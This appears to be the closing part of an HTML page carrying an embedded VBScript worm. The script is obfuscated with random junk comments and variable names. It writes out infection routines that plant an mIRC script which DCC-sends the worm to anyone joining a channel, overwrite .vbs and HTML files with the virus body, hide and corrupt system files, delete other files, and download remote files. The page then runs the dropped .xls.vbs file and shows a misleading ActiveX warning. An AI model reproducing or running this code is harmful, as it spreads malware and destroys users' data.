vbcrlf & "         Merlin.Get "&chr(34)&"state"&chr(34)&", "&chr(34)&"Showing"&chr(34)&"" & vbcrlf & "         Merlin.Get "&chr(34)&"state"&chr(34)&", "&chr(34)&"Speaking"&chr(34)&"" & vbcrlf & "'GVJmwwuBjckSarvypRcIoq" & vbcrlf & "         Merlin.MoveTo 10, 10" & vbcrlf & "         Merlin.Show" & vbcrlf & "         Merlin.Get "&chr(34)&"state"&chr(34)&", "&chr(34)&"Moving"&chr(34)&"" & vbcrlf & "         Merlin.MoveTo 257, 177" & vbcrlf & "'nsITkAlBY" & vbcrlf & "         Merlin.Play "&chr(34)&"Sad"&chr(34)&"                  " & vbcrlf & "         Merlin.Speak("&chr(34)&"Respect your enemy and love your friend! And the world will be a little bit better!"&chr(34)&")" & vbcrlf & "         Merlin.Hide" & vbcrlf & "     Set Merlin = Nothing    " & vbcrlf & "'sMvBBOHYr" & vbcrlf & "     Set AgentControl = Nothing" & vbcrlf & "	End If" & vbcrlf & "End Sub " & vbcrlf & "" & vbcrlf & "'lckEUmjJEe" & vbcrlf & "Function HTTPFileDownload(url,FileSaveTo)" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim receive, Output, i" & vbcrlf & "" & vbcrlf & "'awDMAdnnmrSZbJXXimpgJZRzfhFe" & vbcrlf & "    Output = "&chr(34)&""&chr(34)&"" & vbcrlf & "    Internet.open "&chr(34)&"GET"&chr(34)&",url,False" & vbcrlf & "    Internet.send" & vbcrlf & "    receive = Internet.responseBody" & vbcrlf & "'yvcrddIREDrVsFxSzZHTZVc" & vbcrlf & "" & vbcrlf & "    For i = 0 to UBound(receive)" & vbcrlf & "     Output = Output & chrw(ascw(chr(ascb(midb(receive,i+1,1)))))" & vbcrlf & "    Next" & vbcrlf & "'MUWaBuIPenbLGHFKtBJzyQFIyBdb" & vbcrlf & "" & vbcrlf & "    Dim Download : Set Download = DQHQEIB.CreateTextFile(FileSaveTo,True)" & vbcrlf & "        Download.Write Output" & vbcrlf & "        Download.Close" & vbcrlf & "'XndYitaaSSqAOnJmNbob" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "Sub InfectMirc(MircPath)     " & vbcrlf & "On Error Resume Next" & vbcrlf & "'XliIpCIERefDFPjUv" & vbcrlf & "	If MircPath <> "&chr(34)&""&chr(34)&" Then" & vbcrlf & "  	 Dim PTPPQVC : Set PTPPQVC = DQHQEIB.CreateTextFile(Path & "&chr(34)&"\script.ini"&chr(34)&", True)" & vbcrlf & "      	 PTPPQVC.Attributes = Script.Attributes + 2" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"[script]"&chr(34)&"" & vbcrlf & "'HNdlaKEFDJrjrxhz" & vbcrlf & "      	 PTPPQVC.WriteLine "&chr(34)&";mIRC Script"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.WriteLine "&chr(34)&";http://www.mirc.com"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.WriteLine "&chr(34)&";Please do not edit this script!"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n0=on 1:JOIN:#:{"&chr(34)&"" & vbcrlf & "'HxZzc" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n1= /if ( $nick == $me ) { halt }"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n2= /.dcc send $nick "&chr(34)&" &PRPQOQT" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n3=}"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n4=on 1:OP:#:.timer1 1612 /kick $me go out and love someone!!!"&chr(34)&"" & vbcrlf & "'LyVLBQIIteJ" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n5=on 1:Join:#:if $chan = #help /part $chan"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n7=on 1:Text:#:*idiot*:/say $chan Yes I am a fucking idiot !!!"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n8=on 1:Text:leave:#:{ /msg $chan Your will is my command"&chr(34)&"" & vbcrlf & "      	 PTPPQVC.Writeline "&chr(34)&"n9=                    /part $chan }"&chr(34)&"" & vbcrlf & "'pGkFotWJGyUQjIdkfsw" & vbcrlf & "      	 PTPPQVC.Close" & vbcrlf & "     Set PTPPQVC = Nothing" & vbcrlf & "	End If" & vbcrlf & "End Sub" & vbcrlf & "'tvGRMmEZpLEsfgek" & vbcrlf & "" & vbcrlf & "Sub InfectVBSFile(FilePath)" & vbcrlf & "On Error Resume Next" & vbcrlf & "	If CheckFileFolderExists(FilePath,True) then" & vbcrlf & "'bjRquxoQbZHnpNmrHTkykA" & vbcrlf & "     Dim VBSFile : Set VBSFile = DQHQEIB.OpenTextFile(FilePath,HMGFINT,True)" & vbcrlf & "         VBSFile.Write HCSTOMK" & vbcrlf & "         VBSFile.Close" & vbcrlf & "	 Set VBSFile = Nothing" & vbcrlf & "'XwcvfkNkwqLIbzS" & vbcrlf & "	End If" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub InfectTKLGRQU(FilePath)" & vbcrlf & "'nEOYsnUWB" & vbcrlf & "On Error Resume Next" & vbcrlf & "	If CheckFileFolderExists(FilePath,True) then" & vbcrlf & "     Dim TKLGRQU : Set TKLGRQU = DQHQEIB.OpenTextFile(FilePath,QFPBPVF,True)" & vbcrlf & "         TKLGRQU.Write HTMLBody" & vbcrlf & "'focMWWUtCKlAyRVYPk" & vbcrlf & "         TKLGRQU.Close" & vbcrlf & "     Set TKLGRQU = Nothing" & vbcrlf & "    End If     " & vbcrlf & "End Sub" & vbcrlf & "'JrwbqniLLjt" & vbcrlf & "" & vbcrlf & "Sub InfectSystemFile(FilePath)" & vbcrlf & "On Error Resume Next" & vbcrlf & "	If CheckFileFolderExists(FilePath,True) then" & vbcrlf & "'gDfGwha" & vbcrlf & "     Dim InfectFile : Set InfectFile = DQHQEIB.OpenTextFile(FilePath &"&chr(34)&".vbs"&chr(34)&",QFPBPVF,True)" & vbcrlf & "         InfectFile.Write HCSTOMK" & vbcrlf & "         InfectFile.Close" & vbcrlf & "     Set InfectFile = Nothing" & vbcrlf & "'cCjvCxLnwxJdEGkrNWKniihmdlTr" & vbcrlf & "       " & vbcrlf & "     Dim f : Set f = DQHQEIB.GetFile(FilePath)" & vbcrlf & "         f.attributes = f.attributes + 2" & vbcrlf & "     Set f = Nothing" & vbcrlf & "'IwAqTsZFrPEtJVCCnnSjOeNiCQ" & vbcrlf & "    End If     " & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub InfectOtherFile(FilePath)	" & vbcrlf & "'PIZsamsoCUW" & vbcrlf & "On Error Resume Next" & vbcrlf & "	If CheckFileFolderExists(FilePath,True) then" & vbcrlf & " 	 DQHQEIB.DeleteFile(FilePath)" & vbcrlf & " 	End If " & vbcrlf & "'pzFfxbiENCeadTLTuZJbYuDl" & vbcrlf & "End Sub" & vbcrlf & "''End" & vbcrlf & ""
    VBSFile.Close
Set VBSFile.Close = Nothing

Dim JEMRAND : Set JEMRAND = CreateObject("wscript.shell")
    JEMRAND.run DQHQEIB.GetSpecialFolder(0) & "\wscript.exe " & DQHQEIB.GetSpecialFolder(0) & "\DYIDZFL.xls.vbs %"
Set JEMRAND = Nothing

document.write "Microsoft empfiehlt to ActiveX because of the great threat of a virus contermination!"
End If
</SCRIPT></BODY></HTML>